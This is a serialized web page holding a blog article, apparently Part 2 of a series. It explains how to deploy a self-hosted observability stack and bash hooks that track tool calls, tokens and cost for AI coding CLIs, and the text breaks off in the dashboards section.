[{"data":1,"prerenderedAt":4220},["ShallowReactive",2],{"navigation":3,"articles-by-tag":34},[4],{"title":5,"path":6,"stem":7,"children":8,"page":33},"Articles","/articles","articles",[9,13,17,21,25,29],{"title":10,"path":11,"stem":12},"Faith-Based Arithmetic","/articles/faith-based-arithmetic","articles/faith-based-arithmetic",{"title":14,"path":15,"stem":16},"Fear and Loathing in the Gas Town","/articles/fear-and-loathing-in-the-gas-town","articles/fear-and-loathing-in-the-gas-town",{"title":18,"path":19,"stem":20},"git commit -m 'init'","/articles/init","articles/init",{"title":22,"path":23,"stem":24},"The Eye","/articles/the-eye","articles/the-eye",{"title":26,"path":27,"stem":28},"The Eye, Part 2: Wiring","/articles/the-eye-part2","articles/the-eye-part2",{"title":30,"path":31,"stem":32},"Vibe Coding Apocalypse: The Security Disaster Nobody Saw","/articles/vibe-coding-apocalypse","articles/vibe-coding-apocalypse",false,[35,1736,2359,2750,3714,4095],{"id":36,"title":26,"author":37,"author_avatar":38,"author_description":39,"body":40,"date":1714,"description":1715,"extension":1716,"meta":1717,"navigation":292,"path":27,"rawbody":1718,"seo":1719,"seo_description":1720,"seo_title":1721,"sitemap":1722,"stem":28,"tags":1724,"thumbnail":38,"__hash__":1735},"articles/articles/the-eye-part2.md","Shepard","/icon.png","AI Governance",{"type":41,"value":42,"toc":1692},"minimark",[43,48,52,61,76,79,82,98,101,104,108,111,121,124,127,129,133,172,187,190,193,196,198,202,205,627,630,645,648,650,654,657,660,663,666,1026,1041,1047,1050,1052,1056,1059,1062,1232,1235,1240,1249,1264,1266,1270,1301,1304,1321,1324,1335,1338,1341,1343,1347,1350,1354,1365,1372,1375,1379,1388,1394,1397,1400,1404,1410,1413,1417,1423,1426,1429,1433,1443,1457,1461,1464,1470,1473,1479,1481,1485,1488,1491,1577,1580,1588,1594,1597,1599,1603,1609,1612,1618,1621,1623,1627,1630,1633,1636,1639,1646,1649,1656,1658,1666,1688],[44,45,47],"h2",{"id":46},"the-eye-unboxed","The Eye, Unboxed",[49,50,51],"p",{},"The last dispatch was philosophy. Three signals, four questions, and a submarine without sonar.",[49,53,54,55,60],{},"If you're here, you either read ",[56,57,59],"a",{"href":58},"/articles/the-eye/","Part 1"," and came back for the wiring diagram – or you skipped it entirely and want the YAML. Both are valid. I don't judge. Much.",[49,62,63,64,70,71,75],{},"This is the practice. A ",[56,65,69],{"href":66,"rel":67},"https://github.com/shepard-system/shepard-obs-stack",[68],"nofollow","repository you can clone",". Six containers. One ",[72,73,74],"code",{},"docker-compose up",". Eight dashboards glowing on your screen before your coffee goes cold.",[49,77,78],{},"No vendor. No invoice. No \"contact sales for pricing.\" Open-source. On your machine. Yours.",[49,80,81],{},"By the end of this dispatch you will have:",[83,84,85,89,92,95],"ul",{},[86,87,88],"li",{},"A running stack – Prometheus, Loki, Tempo, Grafana, Alertmanager – in six containers",[86,90,91],{},"Shell hooks + native OTel integration for three AI CLIs",[86,93,94],{},"Real-time cost tracking in dollars, not just tokens",[86,96,97],{},"Eight dashboards and fifteen alert rules that fire before the email arrives",[49,99,100],{},"That's the contract. Let's wire.",[102,103],"hr",{},[44,105,107],{"id":106},"the-stack-in-one-breath","The Stack in One Breath",[49,109,110],{},"Six containers. One pipe. Three stores. One glass. One alarm.",[112,113,118],"pre",{"className":114,"code":116,"language":117},[115],"language-text","CLI hooks ──[OTLP HTTP]──► OTel Collector ──► Prometheus (metrics)\n                                  │\nNative OTel ──[OTLP gRPC]─────────┤──► Loki (logs)\n                                  │\n                                  └──► Tempo (traces)\n\nLoki recording rules ──[remote write]──► Prometheus\n\nPrometheus ──► Alertmanager (alerts)\n\n                   all roads lead to\n                         ▼\n                   Grafana (8 dashboards)\n","text",[72,119,116],{"__ignoreMap":120},"",[49,122,123],{},"Two telemetry channels feed the same collector. Hooks emit OTLP counters – tool calls, events, git context – via HTTP. Native OTel from each CLI provides the rest – tokens, cost, logs, traces – via gRPC. The collector sorts everything into three stores.",[49,125,126],{},"Alertmanager watches thresholds. Grafana renders the picture.",[102,128],{},[44,130,132],{"id":131},"ten-minute-deploy","Ten-Minute Deploy",[112,134,138],{"className":135,"code":136,"language":137,"meta":120,"style":120},"language-bash shiki shiki-themes material-theme-lighter material-theme material-theme-palenight","git clone https://github.com/shepard-system/shepard-obs-stack.git\ncd shepard-obs-stack\n./scripts/init.sh\n","bash",[72,139,140,156,166],{"__ignoreMap":120},[141,142,145,149,153],"span",{"class":143,"line":144},"line",1,[141,146,148],{"class":147},"sBMFI","git",[141,150,152],{"class":151},"sfazB"," clone",[141,154,155],{"class":151}," https://github.com/shepard-system/shepard-obs-stack.git\n",[141,157,159,163],{"class":143,"line":158},2,[141,160,162],{"class":161},"s2Zo4","cd",[141,164,165],{"class":151}," shepard-obs-stack\n",[141,167,169],{"class":143,"line":168},3,[141,170,171],{"class":147},"./scripts/init.sh\n",[49,173,174,175,178,179,182,183,186],{},"The init script creates a ",[72,176,177],{},".env"," from the example, runs ",[72,180,181],{},"docker compose up -d",", and waits for every service to pass its health check. Six containers start – OTel Collector, Prometheus, Loki, Tempo, Alertmanager, Grafana. Grafana opens on ",[72,184,185],{},"localhost:3000"," (default credentials: admin / shepherd). Eight dashboards in the Shepherd folder, pre-provisioned.",[49,188,189],{},"The Eye is open.",[49,191,192],{},"But it sees nothing – because nothing is talking to it yet.",[49,194,195],{},"An eye without a nerve is just glass.",[102,197],{},[44,199,201],{"id":200},"the-single-pipe","The Single Pipe",[49,203,204],{},"The OTel Collector config is the most important file in the stack. Sixty lines of YAML that decide where every signal goes.",[112,206,210],{"className":207,"code":208,"language":209,"meta":120,"style":120},"language-yaml shiki shiki-themes material-theme-lighter material-theme material-theme-palenight","# configs/otel-collector/config.yaml (simplified)\nreceivers:\n  otlp:\n    protocols:\n      grpc:\n        endpoint: 0.0.0.0:4317    # native OTel from CLIs\n      http:\n        endpoint: 0.0.0.0:4318    # hook metrics (curl)\n\nprocessors:\n  deltatocumulative: # hooks fire DELTA counters (+1 per event)\n    max_stale: 10m   # converts them to cumulative for Prometheus\n\n  batch:\n    timeout: 5s\n\nexporters:\n  prometheus:\n    endpoint: \"0.0.0.0:8889\"\n    namespace: shepherd  # every metric gets shepherd_ prefix\n\n  otlphttp/loki:\n    endpoint: http://loki:3100/otlp\n\n  otlp/tempo:\n    endpoint: tempo:4317\n\nservice:\n  pipelines:\n    metrics:\n      receivers: [ otlp ]\n      processors: [ deltatocumulative, batch ]\n      exporters: [ prometheus ]\n    logs:\n      receivers: [ otlp ]\n      processors: [ batch ]\n      exporters: [ otlphttp/loki ]\n    traces:\n      receivers: [ otlp ]\n      processors: [ batch ]\n      exporters: [ otlp/tempo ]\n","yaml",[72,211,212,218,228,235,243,251,266,274,287,294,302,313,327,332,340,351,356,364,372,389,403,408,416,426,431,439,449,454,462,470,478,495,516,531,539,552,565,579,587,600,613],{"__ignoreMap":120},[141,213,214],{"class":143,"line":144},[141,215,217],{"class":216},"sHwdD","# configs/otel-collector/config.yaml (simplified)\n",[141,219,220,224],{"class":143,"line":158},[141,221,223],{"class":222},"swJcz","receivers",[141,225,227],{"class":226},"sMK4o",":\n",[141,229,230,233],{"class":143,"line":168},[141,231,232],{"class":222},"  otlp",[141,234,227],{"class":226},[141,236,238,241],{"class":143,"line":237},4,[141,239,240],{"class":222},"    protocols",[141,242,227],{"class":226},[141,244,246,249],{"class":143,"line":245},5,[141,247,248],{"class":222},"      grpc",[141,250,227],{"class":226},[141,252,254,257,260,263],{"class":143,"line":253},6,[141,255,256],{"class":222},"        endpoint",[141,258,259],{"class":226},":",[141,261,262],{"class":151}," 0.0.0.0:4317",[141,264,265],{"class":216},"    # native OTel from CLIs\n",[141,267,269,272],{"class":143,"line":268},7,[141,270,271],{"class":222},"      http",[141,273,227],{"class":226},[141,275,277,279,281,284],{"class":143,"line":276},8,[141,278,256],{"class":222},[141,280,259],{"class":226},[141,282,283],{"class":151}," 0.0.0.0:4318",[141,285,286],{"class":216},"    # hook metrics (curl)\n",[141,288,290],{"class":143,"line":289},9,[141,291,293],{"emptyLinePlaceholder":292},true,"\n",[141,295,297,300],{"class":143,"line":296},10,[141,298,299],{"class":222},"processors",[141,301,227],{"class":226},[141,303,305,308,310],{"class":143,"line":304},11,[141,306,307],{"class":222},"  deltatocumulative",[141,309,259],{"class":226},[141,311,312],{"class":216}," # hooks fire DELTA counters (+1 per event)\n",[141,314,316,319,321,324],{"class":143,"line":315},12,[141,317,318],{"class":222},"    max_stale",[141,320,259],{"class":226},[141,322,323],{"class":151}," 10m",[141,325,326],{"class":216},"   # converts them to cumulative for Prometheus\n",[141,328,330],{"class":143,"line":329},13,[141,331,293],{"emptyLinePlaceholder":292},[141,333,335,338],{"class":143,"line":334},14,[141,336,337],{"class":222},"  batch",[141,339,227],{"class":226},[141,341,343,346,348],{"class":143,"line":342},15,[141,344,345],{"class":222},"    timeout",[141,347,259],{"class":226},[141,349,350],{"class":151}," 5s\n",[141,352,354],{"class":143,"line":353},16,[141,355,293],{"emptyLinePlaceholder":292},[141,357,359,362],{"class":143,"line":358},17,[141,360,361],{"class":222},"exporters",[141,363,227],{"class":226},[141,365,367,370],{"class":143,"line":366},18,[141,368,369],{"class":222},"  prometheus",[141,371,227],{"class":226},[141,373,375,378,380,383,386],{"class":143,"line":374},19,[141,376,377],{"class":222},"    endpoint",[141,379,259],{"class":226},[141,381,382],{"class":226}," \"",[141,384,385],{"class":151},"0.0.0.0:8889",[141,387,388],{"class":226},"\"\n",[141,390,392,395,397,400],{"class":143,"line":391},20,[141,393,394],{"class":222},"    namespace",[141,396,259],{"class":226},[141,398,399],{"class":151}," shepherd",[141,401,402],{"class":216},"  # every metric gets shepherd_ prefix\n",[141,404,406],{"class":143,"line":405},21,[141,407,293],{"emptyLinePlaceholder":292},[141,409,411,414],{"class":143,"line":410},22,[141,412,413],{"class":222},"  otlphttp/loki",[141,415,227],{"class":226},[141,417,419,421,423],{"class":143,"line":418},23,[141,420,377],{"class":222},[141,422,259],{"class":226},[141,424,425],{"class":151}," http://loki:3100/otlp\n",[141,427,429],{"class":143,"line":428},24,[141,430,293],{"emptyLinePlaceholder":292},[141,432,434,437],{"class":143,"line":433},25,[141,435,436],{"class":222},"  otlp/tempo",[141,438,227],{"class":226},[141,440,442,444,446],{"class":143,"line":441},26,[141,443,377],{"class":222},[141,445,259],{"class":226},[141,447,448],{"class":151}," tempo:4317\n",[141,450,452],{"class":143,"line":451},27,[141,453,293],{"emptyLinePlaceholder":292},[141,455,457,460],{"class":143,"line":456},28,[141,458,459],{"class":222},"service",[141,461,227],{"class":226},[141,463,465,468],{"class":143,"line":464},29,[141,466,467],{"class":222},"  pipelines",[141,469,227],{"class":226},[141,471,473,476],{"class":143,"line":472},30,[141,474,475],{"class":222},"    metrics",[141,477,227],{"class":226},[141,479,481,484,486,489,492],{"class":143,"line":480},31,[141,482,483],{"class":222},"      receivers",[141,485,259],{"class":226},[141,487,488],{"class":226}," [",[141,490,491],{"class":151}," otlp",[141,493,494],{"class":226}," ]\n",[141,496,498,501,503,505,508,511,514],{"class":143,"line":497},32,[141,499,500],{"class":222},"      processors",[141,502,259],{"class":226},[141,504,488],{"class":226},[141,506,507],{"class":151}," deltatocumulative",[141,509,510],{"class":226},",",[141,512,513],{"class":151}," batch",[141,515,494],{"class":226},[141,517,519,522,524,526,529],{"class":143,"line":518},33,[141,520,521],{"class":222},"      exporters",[141,523,259],{"class":226},[141,525,488],{"class":226},[141,527,528],{"class":151}," prometheus",[141,530,494],{"class":226},[141,532,534,537],{"class":143,"line":533},34,[141,535,536],{"class":222},"    logs",[141,538,227],{"class":226},[141,540,542,544,546,548,550],{"class":143,"line":541},35,[141,543,483],{"class":222},[141,545,259],{"class":226},[141,547,488],{"class":226},[141,549,491],{"class":151},[141,551,494],{"class":226},[141,553,555,557,559,561,563],{"class":143,"line":554},36,[141,556,500],{"class":222},[141,558,259],{"class":226},[141,560,488],{"class":226},[141,562,513],{"class":151},[141,564,494],{"class":226},[141,566,568,570,572,574,577],{"class":143,"line":567},37,[141,569,521],{"class":222},[141,571,259],{"class":226},[141,573,488],{"class":226},[141,575,576],{"class":151}," otlphttp/loki",[141,578,494],{"class":226},[141,580,582,585],{"class":143,"line":581},38,[141,583,584],{"class":222},"    traces",[141,586,227],{"class":226},[141,588,590,592,594,596,598],{"class":143,"line":589},39,[141,591,483],{"class":222},[141,593,259],{"class":226},[141,595,488],{"class":226},[141,597,491],{"class":151},[141,599,494],{"class":226},[141,601,603,605,607,609,611],{"class":143,"line":602},40,[141,604,500],{"class":222},[141,606,259],{"class":226},[141,608,488],{"class":226},[141,610,513],{"class":151},[141,612,494],{"class":226},[141,614,616,618,620,622,625],{"class":143,"line":615},41,[141,617,521],{"class":222},[141,619,259],{"class":226},[141,621,488],{"class":226},[141,623,624],{"class":151}," otlp/tempo",[141,626,494],{"class":226},[49,628,629],{},"Three pipelines. Three destinations. One entry point. Everything that speaks OTLP sends data to port 4317 or 4318, and the collector sorts it out.",[49,631,632,633,636,637,640,641,644],{},"The ",[72,634,635],{},"deltatocumulative"," processor bridges two worlds: hooks fire delta counters – each tool call increments by one, fire-and-forget – but Prometheus expects cumulative counters. Without it, every metric resets to zero after each scrape. The ",[72,638,639],{},"shepherd"," namespace prefixes everything with ",[72,642,643],{},"shepherd_",". One prefix, no ambiguity.",[49,646,647],{},"Sixty lines between blindness and sight.",[102,649],{},[44,651,653],{"id":652},"the-hook-not-the-sdk","The Hook, Not the SDK",[49,655,656],{},"Here is where philosophy meets bash.",[49,658,659],{},"The original plan was a Python decorator. An SDK wrapper. Import this, configure that, initialize the other thing. The standard industry approach – which is why I threw it away.",[49,661,662],{},"The three AI CLIs I use – Claude Code, Codex, Gemini CLI – all support hooks. Shell commands that fire on events. The hook receives JSON. The hook does whatever it wants with that JSON.",[49,664,665],{},"So I wrote the simplest thing that could possibly work.",[112,667,669],{"className":135,"code":668,"language":137,"meta":120,"style":120},"# hooks/lib/metrics.sh (simplified)\nemit_counter() {\n  local name=\"$1\"          # tool_calls | events\n  local value=\"$2\"         # 1\n  local labels_json=\"$3\"   # {\"source\":\"claude-code\",\"tool\":\"Bash\"}\n\n  # Build OTLP attributes from labels\n  local attrs\n  attrs=$(jq -c '[to_entries[] | {key: .key, value: {stringValue: .value}}]' \u003C\u003C\u003C \"$labels_json\")\n\n  # Build OTLP Sum metric payload – DELTA temporality, monotonic counter\n  local payload\n  payload=$(jq -n -c \\\n    --arg name \"$name\" --argjson value \"$value\" \\\n    --arg ts \"$(date +%s)000000000\" --argjson attrs \"$attrs\" \\\n    '{resourceMetrics: [{\n      resource: {attributes: [{key: \"service.name\", value: {stringValue: \"shepherd-hooks\"}}]},\n      scopeMetrics: [{metrics: [{\n        name: $name,\n        sum: {\n          dataPoints: [{asDouble: $value, timeUnixNano: $ts, attributes: $attrs}],\n          aggregationTemporality: 1,\n          isMonotonic: true\n        }\n      }]}]\n    }]}')\n\n  curl -s -o /dev/null -XPOST \"http://localhost:4318/v1/metrics\" \\\n    -H \"Content-Type: application/json\" -d \"$payload\" & disown\n}\n",[72,670,671,676,687,712,731,750,754,759,766,802,806,811,818,835,863,901,909,914,919,924,929,934,939,944,949,954,963,967,993,1021],{"__ignoreMap":120},[141,672,673],{"class":143,"line":144},[141,674,675],{"class":216},"# hooks/lib/metrics.sh (simplified)\n",[141,677,678,681,684],{"class":143,"line":158},[141,679,680],{"class":161},"emit_counter",[141,682,683],{"class":226},"()",[141,685,686],{"class":226}," {\n",[141,688,689,693,697,700,703,707,709],{"class":143,"line":168},[141,690,692],{"class":691},"spNyl","  local",[141,694,696],{"class":695},"sTEyZ"," name",[141,698,699],{"class":226},"=",[141,701,702],{"class":226},"\"",[141,704,706],{"class":705},"sHdIc","$1",[141,708,702],{"class":226},[141,710,711],{"class":216},"          # tool_calls | events\n",[141,713,714,716,719,721,723,726,728],{"class":143,"line":237},[141,715,692],{"class":691},[141,717,718],{"class":695}," value",[141,720,699],{"class":226},[141,722,702],{"class":226},[141,724,725],{"class":705},"$2",[141,727,702],{"class":226},[141,729,730],{"class":216},"         # 1\n",[141,732,733,735,738,740,742,745,747],{"class":143,"line":245},[141,734,692],{"class":691},[141,736,737],{"class":695}," labels_json",[141,739,699],{"class":226},[141,741,702],{"class":226},[141,743,744],{"class":705},"$3",[141,746,702],{"class":226},[141,748,749],{"class":216},"   # {\"source\":\"claude-code\",\"tool\":\"Bash\"}\n",[141,751,752],{"class":143,"line":253},[141,753,293],{"emptyLinePlaceholder":292},[141,755,756],{"class":143,"line":268},[141,757,758],{"class":216},"  # Build OTLP attributes from labels\n",[141,760,761,763],{"class":143,"line":276},[141,762,692],{"class":691},[141,764,765],{"class":695}," attrs\n",[141,767,768,771,774,777,780,783,786,789,792,794,797,799],{"class":143,"line":289},[141,769,770],{"class":695},"  attrs",[141,772,773],{"class":226},"=$(",[141,775,776],{"class":147},"jq",[141,778,779],{"class":151}," -c",[141,781,782],{"class":226}," '",[141,784,785],{"class":151},"[to_entries[] | {key: .key, value: {stringValue: .value}}]",[141,787,788],{"class":226},"'",[141,790,791],{"class":226}," \u003C\u003C\u003C",[141,793,382],{"class":226},[141,795,796],{"class":695},"$labels_json",[141,798,702],{"class":226},[141,800,801],{"class":226},")\n",[141,803,804],{"class":143,"line":296},[141,805,293],{"emptyLinePlaceholder":292},[141,807,808],{"class":143,"line":304},[141,809,810],{"class":216},"  # Build OTLP Sum metric payload – DELTA temporality, monotonic counter\n",[141,812,813,815],{"class":143,"line":315},[141,814,692],{"class":691},[141,816,817],{"class":695}," payload\n",[141,819,820,823,825,827,830,832],{"class":143,"line":329},[141,821,822],{"class":695},"  payload",[141,824,773],{"class":226},[141,826,776],{"class":147},[141,828,829],{"class":151}," -n",[141,831,779],{"class":151},[141,833,834],{"class":695}," \\\n",[141,836,837,840,842,844,847,849,852,854,856,859,861],{"class":143,"line":334},[141,838,839],{"class":151},"    --arg",[141,841,696],{"class":151},[141,843,382],{"class":226},[141,845,846],{"class":695},"$name",[141,848,702],{"class":226},[141,850,851],{"class":151}," --argjson",[141,853,718],{"class":151},[141,855,382],{"class":226},[141,857,858],{"class":695},"$value",[141,860,702],{"class":226},[141,862,834],{"class":695},[141,864,865,867,870,873,876,879,882,885,887,889,892,894,897,899],{"class":143,"line":342},[141,866,839],{"class":151},[141,868,869],{"class":151}," ts",[141,871,872],{"class":226}," \"$(",[141,874,875],{"class":147},"date",[141,877,878],{"class":151}," +%s",[141,880,881],{"class":226},")",[141,883,884],{"class":151},"000000000",[141,886,702],{"class":226},[141,888,851],{"class":151},[141,890,891],{"class":151}," attrs",[141,893,382],{"class":226},[141,895,896],{"class":695},"$attrs",[141,898,702],{"class":226},[141,900,834],{"class":695},[141,902,903,906],{"class":143,"line":353},[141,904,905],{"class":226},"    '",[141,907,908],{"class":151},"{resourceMetrics: [{\n",[141,910,911],{"class":143,"line":358},[141,912,913],{"class":151},"      resource: {attributes: [{key: \"service.name\", value: {stringValue: \"shepherd-hooks\"}}]},\n",[141,915,916],{"class":143,"line":366},[141,917,918],{"class":151},"      scopeMetrics: [{metrics: [{\n",[141,920,921],{"class":143,"line":374},[141,922,923],{"class":151},"        name: $name,\n",[141,925,926],{"class":143,"line":391},[141,927,928],{"class":151},"        sum: {\n",[141,930,931],{"class":143,"line":405},[141,932,933],{"class":151},"          dataPoints: [{asDouble: $value, timeUnixNano: $ts, attributes: $attrs}],\n",[141,935,936],{"class":143,"line":410},[141,937,938],{"class":151},"          aggregationTemporality: 1,\n",[141,940,941],{"class":143,"line":418},[141,942,943],{"class":151},"          isMonotonic: true\n",[141,945,946],{"class":143,"line":428},[141,947,948],{"class":151},"        }\n",[141,950,951],{"class":143,"line":433},[141,952,953],{"class":151},"      }]}]\n",[141,955,956,959,961],{"class":143,"line":441},[141,957,958],{"class":151},"    }]}",[141,960,788],{"class":226},[141,962,801],{"class":226},[141,964,965],{"class":143,"line":451},[141,966,293],{"emptyLinePlaceholder":292},[141,968,969,972,975,978,981,984,986,989,991],{"class":143,"line":456},[141,970,971],{"class":147},"  curl",[141,973,974],{"class":151}," -s",[141,976,977],{"class":151}," -o",[141,979,980],{"class":151}," /dev/null",[141,982,983],{"class":151}," -XPOST",[141,985,382],{"class":226},[141,987,988],{"class":151},"http://localhost:4318/v1/metrics",[141,990,702],{"class":226},[141,992,834],{"class":695},[141,994,995,998,1000,1003,1005,1008,1010,1013,1015,1018],{"class":143,"line":464},[141,996,997],{"class":151},"    -H",[141,999,382],{"class":226},[141,1001,1002],{"class":151},"Content-Type: application/json",[141,1004,702],{"class":226},[141,1006,1007],{"class":151}," -d",[141,1009,382],{"class":226},[141,1011,1012],{"class":695},"$payload",[141,1014,702],{"class":226},[141,1016,1017],{"class":226}," &",[141,1019,1020],{"class":161}," disown\n",[141,1022,1023],{"class":143,"line":472},[141,1024,1025],{"class":226},"}\n",[49,1027,1028,1029,1031,1032,1031,1035,1037,1038,1040],{},"Thirty lines. ",[72,1030,137],{},", ",[72,1033,1034],{},"curl",[72,1036,776],{},". Three tools that exist on every Unix machine since the Clinton administration. The hook speaks native OTLP – the same protocol the $200/month SaaS platforms use, except this is thirty lines and a ",[72,1039,1034],{}," to localhost.",[49,1042,632,1043,1046],{},[72,1044,1045],{},"& disown"," at the end is the entire performance strategy. Fire and forget. The hook pushes, the CLI continues. The agent never waits for observability. Observability waits for no one.",[49,1048,1049],{},"A Python SDK would have been more elegant. This is more reliable. I'll take reliable over elegant every Tuesday – especially the $47 ones.",[102,1051],{},[44,1053,1055],{"id":1054},"three-clis-one-eye","Three CLIs, One Eye",[49,1057,1058],{},"Three AI CLIs. Three hook mechanisms. One collector. One set of dashboards.",[49,1060,1061],{},"Hooks are only half the story. Each CLI also exports native OpenTelemetry – tokens, cost, logs, traces – through the same collector. Hooks provide what native OTel cannot: git repo context and labeled tool/event counters. Everything else comes from the CLIs themselves.",[1063,1064,1065,1083],"table",{},[1066,1067,1068],"thead",{},[1069,1070,1071,1074,1077,1080],"tr",{},[1072,1073],"th",{},[1072,1075,1076],{},"Claude Code",[1072,1078,1079],{},"Codex CLI",[1072,1081,1082],{},"Gemini CLI",[1084,1085,1086,1128,1148,1163,1179,1195,1210],"tbody",{},[1069,1087,1088,1095,1109,1114],{},[1089,1090,1091],"td",{},[1092,1093,1094],"strong",{},"Hooks",[1089,1096,1097,1031,1100,1031,1103,1031,1106],{},[72,1098,1099],{},"PreToolUse",[72,1101,1102],{},"PostToolUse",[72,1104,1105],{},"SessionStart",[72,1107,1108],{},"Stop",[1089,1110,1111],{},[72,1112,1113],{},"notify",[1089,1115,1116,1031,1119,1031,1122,1031,1125],{},[72,1117,1118],{},"AfterTool",[72,1120,1121],{},"AfterAgent",[72,1123,1124],{},"AfterModel",[72,1126,1127],{},"SessionEnd",[1069,1129,1130,1135,1138,1141],{},[1089,1131,1132],{},[1092,1133,1134],{},"Hook input",[1089,1136,1137],{},"stdin JSON",[1089,1139,1140],{},"positional arg",[1089,1142,1143,1144,1147],{},"stdin JSON (must echo ",[72,1145,1146],{},"{}"," to stdout)",[1069,1149,1150,1155,1158,1161],{},[1089,1151,1152],{},[1092,1153,1154],{},"Hook emits",[1089,1156,1157],{},"tool_calls + events",[1089,1159,1160],{},"events (turn_end only)",[1089,1162,1157],{},[1069,1164,1165,1170,1173,1176],{},[1089,1166,1167],{},[1092,1168,1169],{},"Native metrics",[1089,1171,1172],{},"cost (USD), tokens, sessions, active time",[1089,1174,1175],{},"– (via recording rules)",[1089,1177,1178],{},"tokens, tool calls, API requests, latency histograms",[1069,1180,1181,1186,1189,1192],{},[1089,1182,1183],{},[1092,1184,1185],{},"Native logs",[1089,1187,1188],{},"API calls, tool decisions, tool results",[1089,1190,1191],{},"tokens, model, latency per call",[1089,1193,1194],{},"session events",[1069,1196,1197,1202,1205,1208],{},[1089,1198,1199],{},[1092,1200,1201],{},"Native traces",[1089,1203,1204],{},"–",[1089,1206,1207],{},"yes",[1089,1209,1207],{},[1069,1211,1212,1217,1222,1227],{},[1089,1213,1214],{},[1092,1215,1216],{},"Config path",[1089,1218,1219],{},[72,1220,1221],{},"~/.claude/settings.json",[1089,1223,1224],{},[72,1225,1226],{},"~/.codex/config.toml",[1089,1228,1229],{},[72,1230,1231],{},"~/.gemini/settings.json",[49,1233,1234],{},"Codex is the odd one out – it doesn't emit native metrics, only logs and traces. The bridge: fifteen Loki recording rules that evaluate every minute, extract structured fields from log lines, and remote-write the results to Prometheus. Logs go in. Metrics come out. The Codex dashboard queries PromQL as if Codex emitted native metrics – the bridge is invisible.",[1236,1237,1239],"h3",{"id":1238},"install","Install",[112,1241,1243],{"className":135,"code":1242,"language":137,"meta":120,"style":120},"./hooks/install.sh\n",[72,1244,1245],{"__ignoreMap":120},[141,1246,1247],{"class":143,"line":144},[141,1248,1242],{"class":147},[49,1250,1251,1252,1256,1257,1259,1260,1263],{},"The installer auto-detects which CLIs are present, backs up existing configs, injects the bash hooks ",[1253,1254,1255],"em",{},"and"," enables native OTel export – all via non-destructive ",[72,1258,776],{}," merge. To verify the full pipeline, run ",[72,1261,1262],{},"./scripts/test-signal.sh",". Eleven checks, pass/fail. If the pipe leaks, you'll know which joint.",[102,1265],{},[44,1267,1269],{"id":1268},"what-the-eye-watches","What the Eye Watches",[49,1271,1272,1273,1276,1277,1031,1280,1031,1283,1031,1286,1289,1290,1276,1293,1031,1295,1031,1298,1300],{},"Two hook metrics flow into Prometheus. ",[72,1274,1275],{},"shepherd_tool_calls_total"," labeled by ",[72,1278,1279],{},"source",[72,1281,1282],{},"tool",[72,1284,1285],{},"tool_status",[72,1287,1288],{},"git_repo",". ",[72,1291,1292],{},"shepherd_events_total",[72,1294,1279],{},[72,1296,1297],{},"event_type",[72,1299,1288],{},". That's all the hooks produce. The dimensions are what make them useful.",[49,1302,1303],{},"Cost comes from native OTel. Here's what the Eye saw in one real session – this article being written:",[83,1305,1306,1309,1312,1315],{},[86,1307,1308],{},"Input tokens: 469",[86,1310,1311],{},"Output tokens: 26,996",[86,1313,1314],{},"Cache reads: 26,364,893",[86,1316,1317,1318],{},"Cost: ",[1092,1319,1320],{},"$47",[49,1322,1323],{},"Twenty-six million cached tokens. That's not a typo. A long session with Opus means the context gets re-read on every turn. Cache reads are cheap – $1.50 per million instead of $15 for fresh input – but twenty-six million of anything adds up.",[49,1325,632,1326,1330,1331,1334],{},[56,1327,1329],{"href":1328},"/articles/fear-and-loathing-in-the-gas-town/","$47 Tuesday"," would have been a $5 Tuesday with this dashboard open. Not because the dashboard changes the cost. Because the dashboard changes the ",[1253,1332,1333],{},"behavior",".",[49,1336,1337],{},"You don't run an agent for eight hours when you can see the meter running.",[49,1339,1340],{},"You can't optimize a black box. You can optimize glass.",[102,1342],{},[44,1344,1346],{"id":1345},"eight-dashboards","Eight Dashboards",[49,1348,1349],{},"Four unified dashboards answering the four questions from Part 1. Three provider deep dives. One session timeline. The full eight: Cost, Tools, Operations, Quality, Claude Code Deep Dive, Codex Deep Dive, Gemini Deep Dive, Session Timeline.",[1236,1351,1353],{"id":1352},"cost-how-much","Cost – \"How much?\"",[112,1355,1359],{"className":1356,"code":1357,"language":1358,"meta":120,"style":120},"language-promql shiki shiki-themes material-theme-lighter material-theme material-theme-palenight","sum(increase(shepherd_claude_code_cost_usage_USD_total[$__range]))\n","promql",[72,1360,1361],{"__ignoreMap":120},[141,1362,1363],{"class":143,"line":144},[141,1364,1357],{},[49,1366,1367],{},[1368,1369],"img",{"alt":1370,"src":1371},"Cost Dashboard – total cost, tokens, sessions, cache efficiency","/images/the-eye-part2/cost-dashboard.png",[49,1373,1374],{},"One stat panel. Green below $5. Yellow at $5. Red at $20. The color tells you everything before the number does. Cost by model, cache efficiency, token usage over time, and a session details table with every session's bill.",[1236,1376,1378],{"id":1377},"tools-who-is-wandering","Tools – \"Who is wandering?\"",[112,1380,1382],{"className":1356,"code":1381,"language":1358,"meta":120,"style":120},"topk(10, sum by (tool) (increase(shepherd_tool_calls_total[$__range])))\n",[72,1383,1384],{"__ignoreMap":120},[141,1385,1386],{"class":143,"line":144},[141,1387,1381],{},[49,1389,1390],{},[1368,1391],{"alt":1392,"src":1393},"Tools Dashboard – call counts, top 10 tools, error rates","/images/the-eye-part2/tools-dashboard.png",[49,1395,1396],{},"Total calls, calls per minute, top 10 tools ranked by frequency, and the Failing Tools bar gauge – tool name, error count, sorted by shame. Bash leads with the most errors in my stack. Not because Bash is broken – because Bash is where agents try things that don't work.",[49,1398,1399],{},"The error rate is the honesty metric. An agent with zero errors is either perfect or silent about its failures.",[1236,1401,1403],{"id":1402},"operations-whats-happening-now","Operations – \"What's happening now?\"",[49,1405,1406],{},[1368,1407],{"alt":1408,"src":1409},"Operations Dashboard – events per minute, source breakdown, live log feed","/images/the-eye-part2/operations-dashboard.png",[49,1411,1412],{},"Events per minute. Source breakdown. A raw Loki log stream at the bottom – when you're debugging, you need a scrolling terminal, not a dashboard. This is that terminal, in Grafana.",[1236,1414,1416],{"id":1415},"quality-is-the-system-getting-better","Quality – \"Is the system getting better?\"",[49,1418,1419],{},[1368,1420],{"alt":1421,"src":1422},"Quality Dashboard – sessions, cache efficiency, token trends, productivity","/images/the-eye-part2/quality-dashboard.png",[49,1424,1425],{},"Session counts over time. Cache hit rate gauge. In my stack right now: 92.6% cache efficiency across 8 sessions. The dashboard didn't change the system. The system changed because someone was looking.",[49,1427,1428],{},"Nobody checks this dashboard daily. It's the most important one.",[1236,1430,1432],{"id":1431},"deep-dives","Deep Dives",[49,1434,1435,1439],{},[1368,1436],{"alt":1437,"src":1438},"Claude Code Deep Dive – tokens, cost, cache, tool decisions, 